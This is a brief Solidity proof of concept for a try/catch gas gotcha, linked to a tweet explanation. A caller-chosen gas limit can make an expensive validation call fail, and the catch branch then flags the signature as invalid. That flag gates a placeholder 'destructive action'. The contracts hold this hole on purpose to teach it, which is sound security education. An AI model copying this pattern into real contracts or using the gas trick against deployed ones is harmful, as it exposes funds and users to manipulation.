Proof of concept for try/catch gotcha explained here https://twitter.com/cleanunicorn/status/1574808522130194432

tryCatchGotcha.sol

contract SignatureChecker {
    uint256[] list;

    // This method does something expensive
    function validateSignature(bytes memory b_) public {
        for (uint i = 0; i < 100; i++) {
            list.push(i);
        }

        for (uint i = 0; i < 100; i++) {
            list.pop();
        }
    }
}

contract ValidateAction {
    event SignatureValid();
    event SignatureInvalid();

    SignatureChecker sc;

    bool SignatureChecker_valid;

    constructor() {
        sc = new SignatureChecker();
    }

    function check(bytes memory b_) public {
        try sc.validateSignature(b_) {
            emit SignatureValid();
            SignatureChecker_valid = true;
        } catch {
            emit SignatureInvalid();
            SignatureChecker_valid = false;
        }
    }

    function removeSignatureCheckerIfInvalid() public {
        if (SignatureChecker_valid == false) {
            // do destructive action
        }
    }
}

contract CallValidate {
    ValidateAction va = new ValidateAction();

    function proofOfConcept(uint256 gas_) public {
        va.check{gas: gas_}("any byte string");
    }
}